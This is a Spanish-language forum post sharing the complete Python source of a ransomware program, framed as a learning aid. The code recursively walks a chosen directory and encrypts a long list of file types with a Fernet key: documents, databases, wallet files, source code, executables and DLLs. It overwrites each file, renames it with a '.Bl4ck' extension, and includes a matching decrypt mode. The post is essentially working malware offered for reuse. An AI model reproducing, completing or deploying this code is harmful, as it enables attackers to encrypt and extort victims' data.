Ransomware en Python
Publicado: 05 Oct 2022, 19:06
Buenas, os comparto el código fuente de un ransomware que hice en python hace ya un tiempo, por si a alguien que esté aprendiendo este lenguaje le pueda interesar. Puede que algunas variables se declaren pero luego no se usen, como dije, lo hice hace tiempo.
Un saludo
Un saludo
Código: Seleccionar todo
import subprocess
from cryptography.fernet
import Fernet
import ntpath
import os
from sys
import argv
import shutil
import sys
class Ransomware:
def __init__(self, path): #Constructor de la clase
self.path = path
self.filePath = str(argv[0])
self.delta = ''
self.fernet_key = ''
self.decryption_key = ''
def generateFernetKey(self, control): #Generamos la key
key = Fernet.generate_key()
if (control == 0):
with open(self.path + 'Key.key', 'wb') as keyFile:
keyFile.write(key)
keyFile.close()
return open(self.path + 'Key.key', 'rb').read()
def digest_bytes(self, file_data): #Ciframos los bytes
return self.fernet_key.encrypt(file_data)
def barf_bytes(self, file_data):
return self.fernet_key.decrypt(file_data) #Desciframos los bytes
def main_function(self, delta, control_variable, file_size): #Funcion principal para cifrar los archivos de la ruta dada recursivamente
try:
self.fernet_key = Fernet(delta)
for root, directory, files_list in os.walk(self.path):
if 'appdata' not in root.lower():
for files in files_list:
try:
file_path = os.path.join(root, files)
extension = str(os.path.splitext(file_path)[1]).lower()
if self.protect_file(file_path) and self.extension_validation(extension, control_variable) and self.maximun_size(file_path, file_size):
if control_variable == 0:
self.generate_protection(file_path, self.digest_bytes(self.get_file_bytes(file_path)), control_variable)
else:
self.generate_protection(file_path, self.barf_bytes(self.get_file_bytes(file_path)), control_variable)
except:
pass
except:
pass
def protect_file(self, file_name):
if os.path.basename(argv[0]) not in file_name and 'Key.key' not in file_name: #Proteger la key y al mismo ransomware
return True
else:
return False
def extension_validation(self, extension, control_value): #Manejador de extensiones
if control_value == 0:
if extension in self.valid_extension():
return True
else:
return False
else:
if extension == '.bl4ck':
return True
else:
return False
def maximun_size(self, file_name, size):
if os.path.getsize(file_name) / 1000000 < size:
return True
else:
return False
def get_file_bytes(self, file_name): #Devuelve los bytes del archivo
with open(file_name, 'rb') as file:
file_data = file.read()
return file_data
def generate_protection(self, file_name, data, control_value): #Sobreescribir archivos y cambiar la extensión
new_data = data
with open(file_name, 'wb') as file:
file.write(new_data)
if control_value == 0:
os.rename(file_name, file_name + '.Bl4ck')
else:
os.rename(file_name, file_name.replace('.Bl4ck', ''))
def valid_extension(self): #Extensiones válidas
valid_extension = ['.txt', '.aiff', 'aif', '.au', '.avi', '.bat', '.bmp', '.class', '.java', '.csv', '.cvs', '.dbf', '.dif', '.doc', '.docx', '.eps',
'.exe', '.fm3', '.gif', '.hqx','.htm', '.html', '.jpg', '.jpeg', '.mac', '.map', '.mdb', '.mid', '.midi', '.mov', '.qt', '.mtb','.mtw', '.pdf',
'.png','.ppt', '.pptx', '.psd', '.qxd', '.ra', '.rtf', '.sit', '.tar', '.tif','.wav', '.wk3', 'wks', '.wpd', '.wp5', '.xls', '.xlsw', '.zip', '.rar', '.7z',
'.vbs', '.py', 'pl','.css', '.jar', '.ico', '.key', '.wallet.dat', '.SQLITE3', '.mp3', '.mp4', '.srt', '.dat', '.php', '.sql', '.c', '.usp',
'.db','.conf','.dll', '.reg', '.ttf', '.md', '.xml', '.version', '.status', '.mar', '.odt', '.xlsx', '.json', '.conf', '.pl', '.sh', '.bak', '.pptx', '.cpp','.spec', '.pyc', '.pyw', '.dtd', '.xsd']
return valid_extension
def start(self, control, tamaño):
self.main_function(self.generateFernetKey(control), control, tamaño) #Llamamos a la funcion principal con los parametros: key, control para saber si es de cifrar o descifrar y el máximo tamaño de archivo
ransomware = Ransomware('Ruta a cifrar')
control = int(input("0 para cifrar, 1 para descifrar: "))
tamaño = int(input("Maximo tamaño de archivo (MB): "))
ransomware.start(control, tamaño)